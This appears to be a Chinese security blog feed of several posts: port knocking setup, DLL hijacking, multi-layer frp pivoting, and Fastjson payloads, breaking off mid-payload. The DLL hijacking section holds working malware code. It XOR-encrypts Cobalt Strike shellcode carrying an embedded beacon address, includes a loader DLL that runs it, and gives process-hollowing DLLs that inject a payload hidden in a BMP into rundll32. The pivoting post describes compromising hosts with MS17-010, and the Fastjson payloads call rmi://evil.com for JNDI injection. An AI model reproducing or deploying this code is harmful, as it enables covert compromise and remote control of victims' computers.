攻击者在攻击第一阶段进行资产漏洞扫描时，如果防守方突然通过某种方式给信息资产穿上了一层隐身衣，会是怎样一种情形？攻击者会发现无论是fping、nmap、zmap又或者是openvas、nessus、wvs等各种扫描工具均无功而返，根本不能和想攻击的服务器或应用建立任何的网络层连接，之前预先准备好的各种攻击工具、POC和0Day漏洞等招数全部落空，一脸郁闷吧。尽管现实中的实际情况不会这么绝对，但如果防守方可以把关键信息资产（如对外开放的公网服务、内部办公应用系统等）进行统一隐身管理，必然可以大大降低公司整体信息资产风险，显著提升公司安全防范能力。

0x00 简介

端口敲门是一种通过在一组预先指定的关闭端口上产生连接请求，从外部打开防火墙上的端口的方法。一旦收到正确地连接请求序列，防火墙规则就会被动态修改，以允许发送连接请求的主机通过特定端口进行连接。

端口敲门的主要目的是防止攻击者通过进行端口扫描来扫描系统中潜在的可利用服务，因为除非攻击者发送正确的碰撞序列，否则受保护的端口将显示为关闭。

0x01 配置

安装knockd，在/etc/文件夹下生成knockd.conf文件

cat /etc/knockd.conf
[options]
    UseSyslog
[openSSH]
    sequence    = 7000,8000,9000
    seq_timeout = 5
    command     = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags    = syn
[closeSSH]
    sequence    = 9000,8000,7000
    seq_timeout = 5
    command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags    = syn

配置文件里有两个参数:

sequence 按照顺序依次访问端口，command执行的条件。比如这里是依次访问7000, 8000, 9000端口，默认使用TCP访问。
command 当knockd监测到sequence端口访问完成，然后执行此处command，这里为通过iptables开启关闭ssh外部访问。

0x02 原理

端口敲门是一种通过服务器上关闭的端口来传输约定信息的方法，从而在用户访问受保护服务之前对用户进行身份验证，主要用于对公网开放的服务如sshd进行安全防护。

主机防火墙默认规则是DROP所有请求包，从外网来说，没有任何方法可以确认服务器是否存活（备注：因为DROP规则不会发送响应包，从而避免扫描器根据响应包确认端口的开放情况。REJECT/DENY规则会发送ICMP_PORT_UNREACHABLE返回给客户端，扫描器如nmap可据此判断出端口状态是filter，从而暴露服务器本身是存活的，端口是开放的，但禁止扫描器IP访问）；

Port-Knocking守护进程运行在服务端，并在主机防火墙DROP数据包时进行分析，如果某个源IP发送的一系列TCP或UDP数据包是按照服务端预先设定的特定顺序访问了对应的一组TCP或UDP端口（表示敲门暗语正确），则knockd进程自动调用iptables命令执行配置文件中预设的对应规则，如增加一条允许该IP地址访问服务器SSH端口的规则。如果数据包不满足服务端预设的端口访问顺序，则守护进程不会执行任何操作。

Port-Knocking带来的安全性提升

服务器是否在线对攻击者来说不可感知服务器主机防火墙默认DROP所有请求的数据包，因此攻击者不能通过扫描器确认服务器是否存活，以及服务器上开放的任何端口。

漏洞服务不会对外暴露

访问服务器上对外开放端口所对应的服务需要预先知晓敲门顺序，所以即使对外开放的服务如SSH等存在哪怕是0day漏洞，攻击者也无法利用。不存在暴力破解、字典攻击、协议漏洞等安全问题。

建立多层防御体系

端口敲门顺序是受信用户才应知晓的秘密口令，因此某种程度来说，敲门顺序和密码一样，也是一种用户身份验证机制。只有输入了正确地敲门顺序后，才会允许访问对应的服务，即在所访问服务之前增加了一层用户身份认证防护。

0x03 碰撞

前提是需要我们知道端口碰撞的序列，否则暴力碰撞开启的机会太小

1、手工构造

打开SSH iptables

telnet  <target IP> 7000
telnet  <target IP> 8000
telnet  <target IP> 9000

关闭SSH iptables

telnet  <target IP> 9000
telnet  <target IP> 8000
telnet  <target IP> 7000

2、使用knock程序

开启
knock  <target IP>  7000 8000 9000
关闭
knock  <target IP>  9000 8000 7000

3、NC 或者 Nmap

Open:
nc -z <target IP> 7000 8000 9000
Close:
nc -z <target IP> 9000 8000 7000

for x in  7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x  <target IP> ; done

DLL劫持

Fri, 16 May 2025 17:30:00 GMT

dll劫持

0x00 调用DLL

查找程序运行所调用的dll文件

x64dbg
x32dbg
process
……

0x01 生成DLL

加密CS生成的shellcode

#!/usr/bin/python
# -*- coding: UTF-8 -*-
# @Time : 2025/2/19 09:00
# @Author : 大C菌
# @File : xor.py
# @Software : PyCharm
def xor_encrypt(shellcode, key):
    encrypted_shellcode = bytearray()
    key_len = len(key)

    # 遍历shellcode中的每个字节
    for i in range(len(shellcode)):
        # 将当前字节与密钥中相应字节进行异或操作，然后添加到加密后的shellcode中
        # 这段代码中的i % key_len操作用于确保在对shellcode进行异或加密时，密钥循环使用
        encrypted_shellcode.append(shellcode[i] ^ key[i % key_len])
    return encrypted_shellcode

def main():
    # CS生成的shellcode
    buf = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x5c\x11\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x50\x32\x72\x68\x00\x22\x68\x78\x35\x12\xea\xb2\x57\x0e\x76\xb5\x7d\x30\x9f\x23\x2e\xaf\xf4\x83\x5d\x72\x2e\x7a\x29\x3a\xcd\x3b\x7f\x6c\x26\xd3\x34\x1b\x30\x80\x4d\xfc\x3b\x95\x10\x85\x76\x36\xc0\x5c\x36\xd1\xf0\xeb\xcb\xda\x6c\xb5\x78\xfc\xa6\x9b\xad\x98\x75\xd1\xc0\x82\x7c\x99\x08\x51\x8f\x65\xc9\xfa\xa4\x4e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x45\x4e\x55\x53\x53\x45\x4d\x29\x0d\x0a\x00\x84\xf4\x94\x75\x5d\xa7\x5e\xc7\x53\x76\xd3\xee\xe2\xbb\x3e\x58\xea\xc5\xbb\x77\xd9\xe6\x4a\x53\x22\xe6\x1c\x18\x46\x54\x0e\xe8\x4e\x03\x3f\xbc\x75\x28\xd4\x2a\x0c\xb1\xa7\xa2\xd6\xf0\x9c\x1b\xed\xb0\x7a\x2c\x7e\x4a\x36\x7e\x92\x3e\xda\xe3\x32\xca\x55\x35\x30\x98\x0b\x50\x81\xd7\x7c\x50\xc7\xfe\xeb\xf1\xfc\xab\x0b\xe8\x30\xa5\xbb\x31\xac\x8d\x79\x29\xb2\xc3\xd2\x6d\x9b\x5a\x80\x0b\x5c\xa0\x06\x98\x00\x66\x32\x80\xf4\x1d\xe2\xd4\xbb\x19\xe0\x0c\xa0\x35\x94\xdb\x1f\x6a\x39\x57\x3b\xca\xf2\xf9\x52\x8f\x6a\xda\x60\xd9\x64\x35\xfd\x8b\x5a\xa8\x52\x5e\x43\x57\x1c\xfb\x8e\xe1\xed\x34\x9a\xf3\x72\x06\xc3\x0f\x2b\xbc\xe1\xf7\x03\xb0\x6d\xfb\x1a\xd4\x91\x6c\xb7\xe6\xdc\xe6\xcb\xec\xef\x82\xb1\x7d\xbd\xd3\x38\x33\x55\x16\x1e\x4d\x28\x8d\x5c\x25\x46\xdf\x6f\x55\xc7\x4c\xfa\x72\x5d\x8e\xb9\x69\xaa\x60\x79\x2f\x25\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x30\x2e\x31\x2e\x32\x33\x39\x2e\x31\x34\x38\x00\x17\x50\x65\xea"

    shellcode = bytearray(buf)

    # 定义密钥
    key = bytearray(b'dcj666')

    # 使用xor_encrypt函数加密shellcode
    encrypted_shellcode = xor_encrypt(shellcode, key)

    # 输出加密后的shellcode
    print("Encrypted shellcode:")
    encrypted_shellcode_string = ""
    for byte in encrypted_shellcode:
        encrypted_shellcode_string += ("\\x%02x"%byte)
    print(encrypted_shellcode_string)

if __name__ == '__main__':
    main()

构造shellcode的dll文件

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <iostream>
HANDLE My_hThread = NULL;
DWORD  WINAPI  ceshi(LPVOID pParameter)
{
    char encryptedShellcode[] = "\x98\x8b\xe3\x36\x36\x36\x04\xea\x8f\x07\xe4\x52\xef\x31\x5a\xbd\x64\x3a\xef\x31\x7e\xbd\x44\x1e\x6b\xd4\x20\x10\x07\xc9\x55\xa3\xc6\x0a\x57\x4a\x66\x4f\x4a\xf7\xf9\x3b\x65\xa4\x88\xc6\x64\x61\xef\x31\x7a\xbd\x74\x0a\x65\xb3\xe1\x76\x4e\xb3\xa4\x17\x20\x37\xe6\x66\xef\x2b\x72\xbd\x6e\x16\x65\xb0\x89\x0a\x7f\xbd\x50\xe8\x6b\xe0\x07\xc9\x55\xa3\xc6\xf7\xf9\x3b\x65\xa4\x52\xd6\x43\xc2\x67\x1e\x92\x0d\x4b\x12\x11\x81\x32\xbd\x6e\x12\x65\xb0\x0c\xbd\x3a\x7d\xef\x3b\x76\x37\xe5\xbd\x60\xe8\x6b\xe6\xbf\x72\x40\x47\x31\x6d\x57\x6f\x3e\x32\x95\xd6\x6e\x69\x3e\xe8\x78\xdd\xb0\x6b\x0c\x0d\x0f\x42\x36\x5e\x13\x0a\x04\x5f\x62\x5e\x28\x14\x4c\x31\xc9\xe3\x55\x9c\x3d\x61\x61\x61\x33\x0b\x50\x60\x4f\x91\x9b\xb6\x83\xb2\x36\x36\x64\x38\x5b\xff\x67\x67\x0e\x60\x3b\x67\x5e\x6a\x75\x63\x6a\x65\x66\x5e\x33\xea\xf5\xf0\xc9\xe3\x8f\x13\x31\x07\xe4\x64\x0c\x63\x68\x76\xb2\x64\x36\x31\x39\x64\x66\x5e\x8f\x36\x44\x0d\xc9\xe3\xed\xa5\xe9\xf5\x66\x07\x9b\x34\x3d\x5c\xc9\x65\x32\x0b\x47\x30\x2e\x4d\x9b\xb6\xef\xf6\x39\xb2\xa7\x62\x6a\x36\x07\xc9\xe1\x95\x1e\x32\xbf\xcf\x8f\x6a\x02\x9c\xf3\xd4\x39\x9c\xbf\xbf\xf7\x5e\x21\x42\x34\x07\xc9\xe3\x55\x9c\x3d\x5c\x31\x67\x32\x33\x02\x81\x61\xd6\x6f\x9c\xbf\x89\x36\x19\x64\x63\x53\xf1\x42\x81\x55\x9c\x83\xa7\x37\x36\x64\x8a\xa3\x37\x36\x36\x8c\xe8\x95\xc9\xc9\x19\x34\x51\x18\x5e\x36\x14\x0c\x1b\x5f\x24\xdc\x84\x33\x6d\x1c\x83\x4b\x06\xfb\x40\x44\x99\xc2\xb5\x39\x11\x44\x4c\x1f\x0c\xa9\x58\x15\x5a\x10\xe5\x50\x78\x5a\xb6\x7b\xca\x5f\xf6\x7a\xb3\x40\x00\xa4\x3f\x5c\xe7\xc6\xdd\xaf\xb9\x06\x83\x4e\xca\xc2\xf8\xc7\xae\x43\xe7\xa4\xe1\x16\xaf\x3e\x67\xeb\x06\xa3\xcc\x92\x78\x64\x36\x19\x53\x44\x1b\x25\x04\x0f\x58\x42\x0c\x44\x2e\x05\x4c\x5f\x5a\x08\x02\x45\x03\x18\x06\x44\x4b\x09\x59\x5b\x46\x05\x17\x03\x54\x5a\x53\x5f\x43\x27\x65\x7f\x73\x44\x5a\x44\x06\x0d\x16\x33\x0a\x04\x52\x59\x41\x17\x43\x24\x62\x16\x00\x4a\x52\x51\x16\x61\x79\x33\x55\x5e\x0d\x16\x62\x16\x0a\x0e\x53\x58\x42\x4b\x56\x44\x06\x0d\x16\x26\x2c\x23\x73\x0f\x0d\x21\x2d\x3f\x65\x65\x73\x29\x4a\x67\x3c\x36\xb2\x90\xf7\x1f\x6b\x91\x68\xa3\x30\x1c\xe5\xd8\xd4\xdf\x5d\x32\xdc\xf3\x8d\x13\xba\x8c\x7c\x65\x14\x82\x7f\x72\x70\x62\x38\x8c\x2d\x69\x09\x8a\x43\x4c\xb7\x40\x3a\x87\x91\xc6\xb5\x9a\xaa\x2d\xdb\xd4\x19\x46\x48\x7c\x00\x1a\xf1\x54\xec\xd5\x04\xae\x36\x5f\x06\xae\x3d\x34\xe2\xbd\x4a\x66\xf1\x9a\x88\x9b\xca\x9d\x3d\x8c\x53\xcf\x8d\x07\x9a\xe9\x1a\x43\x84\xf5\xe4\x09\xf8\x30\xb6\x3d\x6a\xc4\x65\xf2\x36\x50\x04\xe4\x97\x77\xd4\xe2\x8d\x7d\x83\x66\x96\x03\xa2\xbf\x7c\x00\x0f\x61\x0d\xae\x91\x93\x64\xb9\x5c\xbe\x03\xb3\x52\x03\xcb\xef\x39\xc2\x64\x68\x75\x33\x7f\x91\xb8\xd7\xdb\x50\xf9\x99\x44\x30\xf5\x6b\x48\xd6\xd7\xc1\x35\xd4\x0e\x91\x2c\xe2\xa7\x08\xd4\x8c\xea\xd0\xfd\x88\x8c\xe8\x87\x4b\x8b\xb7\x5b\x59\x63\x20\x28\x29\x4b\xe7\x6a\x13\x70\xbb\x0c\x3f\xf1\x7a\xcc\x16\x3e\xe4\x8f\x5f\x9c\x04\x1a\x45\x13\x36\x5e\x94\xd6\xc8\x60\xc9\xe3\x0e\x23\x02\x36\x26\x36\x64\x0b\x6a\x36\x76\x36\x33\x0b\x32\x92\x65\xd3\x9b\xb6\xf9\x8f\x36\x36\x64\x63\x6b\xef\x67\x65\xed\x84\x3d\x5e\x36\x16\x64\x63\x39\x60\x5e\x24\xf2\xea\x88\xc9\xe3\xb3\xa4\x17\xac\xbd\x31\x37\xa7\xe6\xaa\x43\xd3\x6e\xa7\x8b\xc3\xcb\xc9\xc9\x55\x53\x44\x07\x18\x04\x57\x5a\x44\x07\x02\x0e\x64\x74\x3a\x53\xdc";

    // 定义解密所用的密钥

    char key[] = "dcj666";

    // 定义一个与加密shellcode大小相同的数组用于存储解密后的shellcode
    unsigned char shellcode[sizeof encryptedShellcode];

    // 获取密钥的长度
    int keylength = strlen(key);

    // 遍历加密的shellcode，并使用异或操作进行解密，将结果存储在shellcode数组中
    for (int i = 0; i < sizeof encryptedShellcode; i++) {
        shellcode[i] = encryptedShellcode[i] ^ key[i % keylength];
        printf("\\x%x", shellcode[i]);
    }

    // 获取解密后的shellcode的地址
    char* addrShellcode = (char*)shellcode;

    // 声明一个DWORD变量用于存储旧的内存保护属性
    DWORD dwOldPro = 0;

    // 更改解密后的shellcode所在内存区域的保护属性，允许执行、读、写
    BOOL ifExec = VirtualProtect(addrShellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);

    // 使用EnumUILanguages函数执行解密后的shellcode
    EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 0, 0);
    return 0;
}


BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH://初次调用dll时执行下面代码
        My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern"C" _declspec(dllexport) void test()
{
    int a;
    a = 0;
}

生成对应32位或64位的dll文件

0x02 注入DLL

1、系统白名单调用dll文件

上传dll，系统程序调用执行

rundll32.exe KKDll.dll ceshi

2、白名单程序调用dll文件

观察对方的第三方程序，本地模拟程序加载dll，制作好之后上传到dll目录，然后执行dll上线

KK录像机

添加导入函数

传入替换的libfontconfig-1.dll文件，传入KKDll.dll文件

运行KK录像机

3、白名单程序加载dll代码执行

1、筛选程序加载DLL（ProcessMonitor）
Process Name is <xxx.exe> ——
这就是我们自定义的白文件了，要看哪个文件就换成哪个就可以
Results contains "SUCCESS" ——
这是我们容易进行dll劫持的关键，"SUCCESS"是存在dll加载成功的情况表明exe确实去加载了这个dll，所以我们凭借此来做黑dll让它加载；
Path contains "dll" ——
就是说我们的目标是dll，其他乱七八糟的后缀我们不需要，就过滤掉；
2、获取目标DLL的主导函数及位数（VS自带dumpbin）
https://zhuanlan.zhihu.com/p/640045731
获取执行函数：dumpbin /exports "D:\Program Files (x86)\Tencent\QQ\Bin\TaskTray.dll"
获取执行位数：dumpbin /headers "D:\Program Files (x86)\Tencent\QQ\Bin\TaskTray.dll"
3、利用分离项目生成图片Shellcode
https://github.com/Mr-Un1k0d3r/DKMC
python2 dkmc.py
gen
set shellcode xxxx
run

第一种方法

重写导出函数

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
using namespace std;

extern "C" __declspec(dllexport) int DllCanUnloadNow()
{
    return 0;
}
extern "C" __declspec(dllexport) int DllGetClassObject()
{
    return 0;
}
extern "C" __declspec(dllexport) int DllRegisterServer()
{
    return 0;
}
extern "C" __declspec(dllexport) int DllUnregisterServer()
{

    return 0;
}


BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: {

        FILE* fp;
        size_t size;
        unsigned char* buffer;
        fp = fopen("xd.bmp", "rb");
        fseek(fp, 0, SEEK_END);
        size = ftell(fp);
        fseek(fp, 0, SEEK_SET);
        buffer = (unsigned char*)malloc(size);
        fread(buffer, size, 1, fp);

        char* v7A = (char*)VirtualAlloc(0, size, 0x3000u, 0x40u);
        memcpy((void*)v7A, buffer, size);

        struct _PROCESS_INFORMATION ProcessInformation;
        struct _STARTUPINFOA StartupInfo;
        void* v24;
        CONTEXT Context;
        memset(&StartupInfo, 0, sizeof(StartupInfo));
        StartupInfo.cb = 68;
        BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
        if (result)
        {
            Context.ContextFlags = 65539;
            GetThreadContext(ProcessInformation.hThread, &Context);
            v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, size, 0x1000u, 0x40u);
            WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, size, NULL);
            // 64 位使用 Context.Rip = (DWORD_PTR)v24;
            Context.Eip = (DWORD_PTR)v24;
            //Context.Rip = (DWORD_PTR)v24;
            SetThreadContext(ProcessInformation.hThread, &Context);
            ResumeThread(ProcessInformation.hThread);
            CloseHandle(ProcessInformation.hThread);
            result = CloseHandle(ProcessInformation.hProcess);
        }

        TerminateProcess(GetCurrentProcess(), 0);

    }

    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

生成引用的bmp文件

┌──(dcj㉿kali)-[~/Desktop/tools/DKMC-master]
└─$ python2 dkmc.py

将生成的dll文件和bmp文件替换放到安装目录下

运行TIM

第二种方法

上述方法可能会导致程序无法正常打开，所以在原基础上，加一个调用原本的dll程序，利用构造的dll程序运行调用原本的dll程序，构造的dll程序名为原本的dll程序名，被调用的原本的dll进行改名，再将xd.bmp放到同级目录

运行程序-->构造dll（修改为源程序dll名）-->调用源程序dll（修改其他名字）

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <TlHelp32.h>

using namespace std;

// 必须保留的COM接口导出函数
extern "C" __declspec(dllexport) HRESULT DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{
    return CLASS_E_CLASSNOTAVAILABLE;
}

extern "C" __declspec(dllexport) HRESULT DllCanUnloadNow()
{
    return S_FALSE;
}

// 原始DLL的导出函数（根据实际需要调整参数类型）
extern "C" __declspec(dllexport) int RARCloseArchive() { return 0; }
extern "C" __declspec(dllexport) int RARGetDllVersion() { return 0; }
extern "C" __declspec(dllexport) int RAROpenArchive() { return 0; }
extern "C" __declspec(dllexport) int RAROpenArchiveEx() { return 0; }
extern "C" __declspec(dllexport) int RARProcessFile() { return 0; }
extern "C" __declspec(dllexport) int RARProcessFileW() { return 0; }
extern "C" __declspec(dllexport) int RARReadHeader() { return 0; }
extern "C" __declspec(dllexport) int RARReadHeaderEx() { return 0; }
extern "C" __declspec(dllexport) int RARSetCallback() { return 0; }
extern "C" __declspec(dllexport) int RARSetChangeVolProc() { return 0; }
extern "C" __declspec(dllexport) int RARSetPassword() { return 0; }
extern "C" __declspec(dllexport) int RARSetProcessDataProc() { return 0; }

// 加载并执行其他DLL的函数
void LoadAdditionalDLL()
{
    HMODULE hModule = LoadLibraryA("Unrar1.dll");
    if (hModule)
    {
        typedef void(*DLL_FUNC)();
        DLL_FUNC pFunc = (DLL_FUNC)GetProcAddress(hModule, "RunMe");
        if (pFunc)
        {
            pFunc(); // 执行目标DLL的函数
        }
        // 根据需求决定是否释放
        // FreeLibrary(hModule);
    }
}

// 注入线程函数
DWORD WINAPI InjectionThread(LPVOID lpParam)
{
    // 加载其他DLL
    LoadAdditionalDLL();

    // 原有注入逻辑
    FILE* fp = nullptr;
    size_t size = 0;
    unsigned char* buffer = nullptr;

    do
    {
        fp = fopen("xd.bmp", "rb");
        if (!fp) break;

        fseek(fp, 0, SEEK_END);
        size = ftell(fp);
        fseek(fp, 0, SEEK_SET);

        buffer = (unsigned char*)malloc(size);
        if (!buffer) break;

        if (fread(buffer, 1, size, fp) != size) break;

        LPVOID v7A = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (!v7A) break;

        memcpy(v7A, buffer, size);

        PROCESS_INFORMATION pi = { 0 };
        STARTUPINFOA si = { 0 };
        si.cb = sizeof(si);

        if (CreateProcessA(nullptr, (LPSTR)"rundll32.exe", nullptr, nullptr, FALSE,
            CREATE_SUSPENDED, nullptr, nullptr, &si, &pi))
        {
            CONTEXT ctx;
            ctx.ContextFlags = CONTEXT_FULL;

            if (GetThreadContext(pi.hThread, &ctx))
            {
                LPVOID remoteMem = VirtualAllocEx(pi.hProcess, nullptr, size,
                    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
                if (remoteMem)
                {
                    WriteProcessMemory(pi.hProcess, remoteMem, v7A, size, nullptr);

#ifdef _WIN64
                    ctx.Rip = (DWORD_PTR)remoteMem;
#else
                    ctx.Eip = (DWORD_PTR)remoteMem;
#endif

                    SetThreadContext(pi.hThread, &ctx);
                }
            }
            ResumeThread(pi.hThread);
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
        }
    } while (false);

    // 清理资源
    if (fp) fclose(fp);
    if (buffer) free(buffer);
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DisableThreadLibraryCalls(hModule);
        CreateThread(nullptr, 0, InjectionThread, nullptr, 0, nullptr);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Frp搭建多层内网通信隧道

Wed, 16 Apr 2025 09:39:00 GMT

Frp搭建多层内网通信隧道

0x01 什么是frp

frp 是一个专注于内网穿透的高性能的反向代理应用，支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。frp项目官网地址是：https://github.com/fatedier/frp/，下载解压后可以发现7个文件，frpc和frps分别为客户端和服务端可执行程序，frpc.ini和frps.ini，分别为客户端和服务端配置文件，frpc_full.ini和frps_full.ini分别为客户端所有配置项和服务端所有配置项。

0x02 配置文件

配置文件部分参数说明(更多参数说明，请参考官方文档)

frps：
[common]
bind_addr = 0.0.0.0  # 服务端监听地址
bind_port = 7000 # 服务端监听端口，默认7000
auth_token = xxxxxxxx # 验证凭据

frpc：
[common]
server_addr = x.x.x.x # 连接的服务器IP地址
server_port = 7000 # 连接的服务器端口

[http_proxy]
type = tcp # 连接类型为tcp
local_ip = x.x.x.x # 本地ip
local_port = 8888 # 本地监听端口
remote_port = 8888 # 远程服务器端口
use_encryption = true #启⽤加密
plugin = socks5  # 使⽤插件socks5代理

0x03 环境配置

实验环境

攻击机：
Vps：192.168.53.132
win10：192.168.53.129

受害机：
Debian：192.168.53.134  10.10.20.131
win7：10.10.20.129   10.10.30.130
win10：10.10.30.132  172.16.5.132
2008：172.16.5.129   172.16.10.128

0x04 步骤

4.1 第一层隧道

假如我们在拿到Debian主机权限后，发现其存在第二张网卡为10.10.20.0/24网段的，但是攻击机没办法直接访问这个网段。

kali攻击机启动frps监听，配置文件如下：
[common]
bind_addr = 0.0.0.0
bind_port = 7000

Debian启动frpc，配置文件如下：
[common]
server_addr = 192.168.53.132  
server_port = 7000          

[http_proxy]
type = tcp
local_ip = 10.10.20.131
remote_port = 8888  
local_port = 8888
plugin = socks5

vps：

debian：

win10：

此时我们便可以通过隧道去扫描10.10.20.0/24这个网段下的主机。

4.2 第二层隧道

假如我们通过3389弱口令拿到10.10.20.129这台主机，但是经过查看后发现它还有第二个网段10.10.30.0/24，但是目前我们的隧道只能访问到10.10.20.0/24这个网段，遂需要搭建第二层通信隧道，这个时候Debian既是客户端，也是服务端。

Debian(frpc):
[common]
server_addr = 192.168.53.132  
server_port = 7000          

[http_proxy]
type = tcp
remote_port = 8888
local_ip = 10.10.20.131  
local_port = 8888      
plugin = socks5

Debian(frps):
[common]
bind_addr = 10.10.20.131
bind_port = 7000

Win 7(frpc):
[common]
server_addr = 10.10.20.131  
server_port = 7000          

[http_proxy]
type = tcp
local_ip = 10.10.30.130
remote_port = 8888    
local_port = 8888
plugin = socks5

debian：

Win7：

win10：

通过fscan扫描发现10.10.30.132这台主机存在MS17-010，且通过MS17-010拿下这台主机权限。

4.3 第三层隧道

现在我们又控制了PC这台主机，查看信息后，又发现了存在172.16.5.0/24这个网段，但是以目前条件kali攻击机没办法访问到这个网段下的资源，所以还要搭建第三层隧道，那么这个时候，Win7又多了一个身份，他既是客户端也是服务端。

kali和Debian配置不需要改动，Win7的frpc和frps配置参考上一条Debian配置，这边就不再次体现了，然后Win10的frpc配置参考上面的Win7的frpc配置

Win7：

PC：

Win10：

通过fscan又发现存在一台ms17-010的机器，172.16.5.129，且通过17-010拿下这台机器。

通过隧道成功登录到2008这台机器。

4.4 第四层隧道

拿到172.16.5.129这台机器后，发现他又存在172.16.10.0/24这个网段，遂搭建第四层隧道，配置文件都差不多，自行修改。

PC：

2008：

Win10：

通过fscan又发现存在一台MS17-010的机器172.16.10.132，且通过MS17-010拿下这台机器。

至此，所有主机全部都能登录。

Fastjson Payload

Tue, 15 Apr 2025 17:09:00 GMT

Fastjson Payload

fastjson1.1.24
payload：
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/TouchFile",
        "autoCommit":true
    }
}



Fastjson 1.1.27
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/Exploit",
        "autoCommit":true
    }
}



fastjson1.1.24 （简易版JNDI）
payload：
{
    "b":{
